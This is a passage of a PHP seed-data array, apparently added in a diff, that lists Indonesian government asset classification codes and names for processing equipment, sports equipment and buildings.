'sub_sub_kelompok' => '002', + 'nama' => 'KAPASITAS SEDANG (ALAT PENGOLAHAN MINYAK)', + ], + [ + 'id_aset' => 3095, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'KAPASITAS BESAR (ALAT PENGOLAHAN MINYAK)', + ], + [ + 'id_aset' => 3096, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'CALON EVAPORATOR', + ], + [ + 'id_aset' => 3097, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'CONDENSOR (ALAT PENGOLAHAN MINYAK)', + ], + [ + 'id_aset' => 3098, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'COOLER (ALAT PENGOLAHAN MINYAK)', + ], + [ + 'id_aset' => 3099, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'POMPA PROSO', + ], + [ + 'id_aset' => 3100, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'TURBINE', + ], + [ + 'id_aset' => 3101, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'AIR DRYER', + ], + [ + 'id_aset' => 3102, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'BOILER', + ], + [ + 'id_aset' => 3103, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENGOLAHAN MINYAK LAINNYA', + ], + [ + 'id_aset' => 3104, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGOLAHAN AIR', + ], + [ + 'id_aset' => 3105, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'KAPASITAS KECIL (ALAT PENGOLAHAN AIR)', + ], + [ + 'id_aset' => 3106, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'KAPASITAS SEDANG (ALAT PENGOLAHAN AIR)', + ], + [ + 'id_aset' => 3107, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'KAPASITAS BESAR (ALAT PENGOLAHAN AIR)', + ], + [ + 'id_aset' => 3108, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENGOLAHAN AIR LAINNYA', + ], + [ + 'id_aset' => 3109, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGOLAHAN STEAM', + ], + [ + 'id_aset' => 3110, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'KAPASITAS KECIL (ALAT PENGOLAHAN STEAM)', + ], + [ + 'id_aset' => 3111, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'KAPASITAS SEDANG (ALAT PENGOLAHAN STEAM)', + ], + [ + 'id_aset' => 3112, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'KAPASITAS BESAR (ALAT PENGOLAHAN STEAM)', + ], + [ + 'id_aset' => 3113, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENGOLAHAN STEAM LAINNYA', + ], + [ + 'id_aset' => 3114, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'ALAT PENGOLAHAN WAX', + ], + [ + 'id_aset' => 3115, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'KAPASITAS KECIL (ALAT PENGOLAHAN WAX)', + ], + [ + 'id_aset' => 3116, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'KAPASITAS SEDANG (ALAT PENGOLAHAN WAX)', + ], + [ + 'id_aset' => 3117, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'KAPASITAS BESAR (ALAT PENGOLAHAN WAX)', + ], + [ + 'id_aset' => 3118, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'ALAT PENGOLAHAN WAX LAINNYA', + ], + [ + 'id_aset' => 3119, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '000', + 'nama' => 'PENGOLAHAN DAN PEMURNIAN LAINNYA', + ], + [ + 'id_aset' => 3120, + 'golongan' => '3', + 'bidang' => '09', + 'kelompok' => '03', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'PENGOLAHAN DAN PEMURNIAN LAINNYA', + ], + [ + 'id_aset' => 3121, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN OLAH RAGA', + ], + [ + 'id_aset' => 3122, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN OLAH RAGA', + ], + [ + 'id_aset' => 3123, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN OLAH RAGA ATLETIK', + ], + [ + 'id_aset' => 3124, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '001', + 'nama' => 'LEMPAR CAKRAM', + ], + [ + 'id_aset' => 3125, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '002', + 'nama' => 'LEMPAR LEMBING', + ], + [ + 'id_aset' => 3126, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '003', + 'nama' => 'TOLAK PELURU', + ], + [ + 'id_aset' => 3127, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '004', + 'nama' => 'ALAT LARI GAWANG', + ], + [ + 'id_aset' => 3128, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '005', + 'nama' => 'GALAH', + ], + [ + 'id_aset' => 3129, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '006', + 'nama' => 'MARTIL', + ], + [ + 'id_aset' => 3130, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '007', + 'nama' => 'MISTAR LOMPAT TINGGI', + ], + [ + 'id_aset' => 3131, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '008', + 'nama' => 'MATRAS LARI', + ], + [ + 'id_aset' => 3132, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '009', + 'nama' => 'START BLOCK', + ], + [ + 'id_aset' => 3133, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '010', + 'nama' => 'METER LINE', + ], + [ + 'id_aset' => 3134, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '011', + 'nama' => 'BENDERA START', + ], + [ + 'id_aset' => 3135, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '012', + 'nama' => 'PULL MASTER', + ], + [ + 'id_aset' => 3136, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '013', + 'nama' => 'KOSTUM', + ], + [ + 'id_aset' => 3137, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '014', + 'nama' => 'BAK LOMPAT TINGGI', + ], + [ + 'id_aset' => 3138, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '015', + 'nama' => 'BAK LOMPAT JAUH', + ], + [ + 'id_aset' => 3139, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '01', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN ATLETIK LAINNYA', + ], + [ + 'id_aset' => 3140, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN PERMAINAN', + ], + [ + 'id_aset' => 3141, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '001', + 'nama' => 'ALAT TENIS MEJA', + ], + [ + 'id_aset' => 3142, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '002', + 'nama' => 'ALAT VOLLEY', + ], + [ + 'id_aset' => 3143, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '003', + 'nama' => 'ALAT BILYARD', + ], + [ + 'id_aset' => 3144, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '004', + 'nama' => 'ALAT BADMINTON', + ], + [ + 'id_aset' => 3145, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '005', + 'nama' => 'SEPATU RODA', + ], + [ + 'id_aset' => 3146, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '006', + 'nama' => 'BOLA KAKI', + ], + [ + 'id_aset' => 3147, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '007', + 'nama' => 'ALAT BASKET', + ], + [ + 'id_aset' => 3148, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '008', + 'nama' => 'BOLA BASKET', + ], + [ + 'id_aset' => 3149, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '009', + 'nama' => 'KERANJANG BOLA/RING', + ], + [ + 'id_aset' => 3150, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '010', + 'nama' => 'KOSTUM BASKET', + ], + [ + 'id_aset' => 3151, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '011', + 'nama' => 'KOSTUM SEPAK BOLA', + ], + [ + 'id_aset' => 3152, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '012', + 'nama' => 'SEPATU BOLA + KAOS KAKI', + ], + [ + 'id_aset' => 3153, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '013', + 'nama' => 'RAKET TENIS', + ], + [ + 'id_aset' => 3154, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '014', + 'nama' => 'NET TENIS', + ], + [ + 'id_aset' => 3155, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '015', + 'nama' => 'BOLA TENIS', + ], + [ + 'id_aset' => 3156, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '016', + 'nama' => 'ROOT', + ], + [ + 'id_aset' => 3157, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '02', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN PERMAINAN LAINNYA', + ], + [ + 'id_aset' => 3158, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN SENAM', + ], + [ + 'id_aset' => 3159, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '001', + 'nama' => 'PALANG SEJAJAR', + ], + [ + 'id_aset' => 3160, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '002', + 'nama' => 'PALANG KUDA', + ], + [ + 'id_aset' => 3161, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '003', + 'nama' => 'MATRAS', + ], + [ + 'id_aset' => 3162, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '004', + 'nama' => 'GELANG-GELANG', + ], + [ + 'id_aset' => 3163, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '005', + 'nama' => 'PERALATAN FITNES', + ], + [ + 'id_aset' => 3164, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '006', + 'nama' => 'KUDA PELANA', + ], + [ + 'id_aset' => 3165, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '007', + 'nama' => 'BALANCE BEEM', + ], + [ + 'id_aset' => 3166, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '008', + 'nama' => 'MULTI STATION', + ], + [ + 'id_aset' => 3167, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '009', + 'nama' => 'ARGOCYCLE', + ], + [ + 'id_aset' => 3168, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '010', + 'nama' => 'TREADMILL', + ], + [ + 'id_aset' => 3169, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '011', + 'nama' => 'ORBITREK', + ], + [ + 'id_aset' => 3170, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '012', + 'nama' => 'HENG UP BOARD', + ], + [ + 'id_aset' => 3171, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '013', + 'nama' => 'SIT UP BOARD', + ], + [ + 'id_aset' => 3172, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '014', + 'nama' => 'BECK UP BOARD', + ], + [ + 'id_aset' => 3173, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '015', + 'nama' => 'DAMBLE SET', + ], + [ + 'id_aset' => 3174, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '016', + 'nama' => 'BARBLE SET', + ], + [ + 'id_aset' => 3175, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '017', + 'nama' => 'RAK DAMBLE SET', + ], + [ + 'id_aset' => 3176, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '018', + 'nama' => 'RAK DARBLE SET', + ], + [ + 'id_aset' => 3177, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '019', + 'nama' => 'MASSAGE CHAIR', + ], + [ + 'id_aset' => 3178, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '020', + 'nama' => 'MASSAGE FOOT', + ], + [ + 'id_aset' => 3179, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '03', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN SENAM LAINNYA', + ], + [ + 'id_aset' => 3180, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '000', + 'nama' => 'PARALATAN OLAH RAGA AIR', + ], + [ + 'id_aset' => 3181, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '001', + 'nama' => 'SKI AIR', + ], + [ + 'id_aset' => 3182, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '002', + 'nama' => 'SKI DIVING', + ], + [ + 'id_aset' => 3183, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '003', + 'nama' => 'SELANCAR', + ], + [ + 'id_aset' => 3184, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '004', + 'nama' => 'PERAHU KARET (PARALATAN OLAH RAGA AIR)', + ], + [ + 'id_aset' => 3185, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '005', + 'nama' => 'PERAHU LAYAR', + ], + [ + 'id_aset' => 3186, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '006', + 'nama' => 'ALAT ARUNG JERAM', + ], + [ + 'id_aset' => 3187, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '007', + 'nama' => 'ALAT DAYUNG', + ], + [ + 'id_aset' => 3188, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '008', + 'nama' => 'KACA MATA AIR', + ], + [ + 'id_aset' => 3189, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '009', + 'nama' => 'FULL FOOT FIN', + ], + [ + 'id_aset' => 3190, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '010', + 'nama' => 'ALAT UKUR KEDALAMAN', + ], + [ + 'id_aset' => 3191, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '011', + 'nama' => 'BOUYANCE KOMPENSATOR', + ], + [ + 'id_aset' => 3192, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '012', + 'nama' => 'HP KOMPRESSOR', + ], + [ + 'id_aset' => 3193, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '013', + 'nama' => 'KOMPAS SELAM', + ], + [ + 'id_aset' => 3194, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '014', + 'nama' => 'PISAU SELAM', + ], + [ + 'id_aset' => 3195, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '015', + 'nama' => 'PERAYU KAYAK 1', + ], + [ + 'id_aset' => 3196, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '016', + 'nama' => 'PERAYU KAYAK 2', + ], + [ + 'id_aset' => 3197, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '017', + 'nama' => 'PERAHU CANO CANADIAN 1', + ], + [ + 'id_aset' => 3198, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '018', + 'nama' => 'PERAHU CANO CANADIAN 2', + ], + [ + 'id_aset' => 3199, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '019', + 'nama' => 'PERAHU TRADISIONAL/PERAHU NAGA', + ], + [ + 'id_aset' => 3200, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '020', + 'nama' => 'ROOWING/SINGLE SCOOL', + ], + [ + 'id_aset' => 3201, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '021', + 'nama' => 'ROOWING/DOUBLE SCOOL', + ], + [ + 'id_aset' => 3202, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '022', + 'nama' => 'PAPAN JUMPING + TALI + HELM', + ], + [ + 'id_aset' => 3203, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '023', + 'nama' => 'PAPAN SLALOM + TALI + HELM', + ], + [ + 'id_aset' => 3204, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '024', + 'nama' => 'PAPAN TRICK + TALI + HELM', + ], + [ + 'id_aset' => 3205, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '025', + 'nama' => 'JAMPING TRACK', + ], + [ + 'id_aset' => 3206, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '026', + 'nama' => 'MOTOR PENARIK/SPEED BOAT', + ], + [ + 'id_aset' => 3207, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '027', + 'nama' => 'PELAMPUNG LINTASAN', + ], + [ + 'id_aset' => 3208, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '028', + 'nama' => 'OPTIMIST', + ], + [ + 'id_aset' => 3209, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '029', + 'nama' => 'ENTERPRISE', + ], + [ + 'id_aset' => 3210, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '030', + 'nama' => 'KELAS 420', + ], + [ + 'id_aset' => 3211, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '031', + 'nama' => 'KELAS 470', + ], + [ + 'id_aset' => 3212, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '032', + 'nama' => 'FIREBALL', + ], + [ + 'id_aset' => 3213, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '033', + 'nama' => 'SELANCAR ANGIN', + ], + [ + 'id_aset' => 3214, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '034', + 'nama' => 'HOBBY CAT', + ], + [ + 'id_aset' => 3215, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '035', + 'nama' => 'KIIL BOAT', + ], + [ + 'id_aset' => 3216, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '04', + 'sub_sub_kelompok' => '999', + 'nama' => 'PARALATAN OLAH RAGA AIR LAINNYA', + ], + [ + 'id_aset' => 3217, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN OLAH RAGA UDARA', + ], + [ + 'id_aset' => 3218, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '001', + 'nama' => 'GANTOLE', + ], + [ + 'id_aset' => 3219, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '002', + 'nama' => 'BALON UDARA', + ], + [ + 'id_aset' => 3220, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '003', + 'nama' => 'PAYUNG UDARA (PARASUT)', + ], + [ + 'id_aset' => 3221, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '004', + 'nama' => 'ALAT TERBANG LAYANG', + ], + [ + 'id_aset' => 3222, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '05', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN OLAH RAGA UDARA LAINNYA', + ], + [ + 'id_aset' => 3223, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '000', + 'nama' => 'PERALATAN OLAH RAGA LAINNYA', + ], + [ + 'id_aset' => 3224, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '001', + 'nama' => 'CATUR', + ], + [ + 'id_aset' => 3225, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '002', + 'nama' => 'SARUNG TINJU', + ], + [ + 'id_aset' => 3226, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '003', + 'nama' => 'SEPEDA OLAH RAGA', + ], + [ + 'id_aset' => 3227, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '06', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN OLAH RAGA LAINNYA', + ], + [ + 'id_aset' => 3228, + 'golongan' => '3', + 'bidang' => '10', + 'kelompok' => '01', + 'sub_kelompok' => '99', + 'sub_sub_kelompok' => '999', + 'nama' => 'PERALATAN OLAH RAGA LAINNYA', + ], + [ + 'id_aset' => 3229, + 'golongan' => '4', + 'bidang' => '00', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'GEDUNG DAN BANGUNAN', + ], + [ + 'id_aset' => 3230, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '00', + 'sub_kelompok' => '00', + 'sub_sub_kelompok' => '000', + 'nama' => 'BANGUNAN GEDUNG', + ], + [ + 'id_aset' => 3231, + 'golongan' => '4', + 'bidang' => '01', + 'kelompok' => '01', + 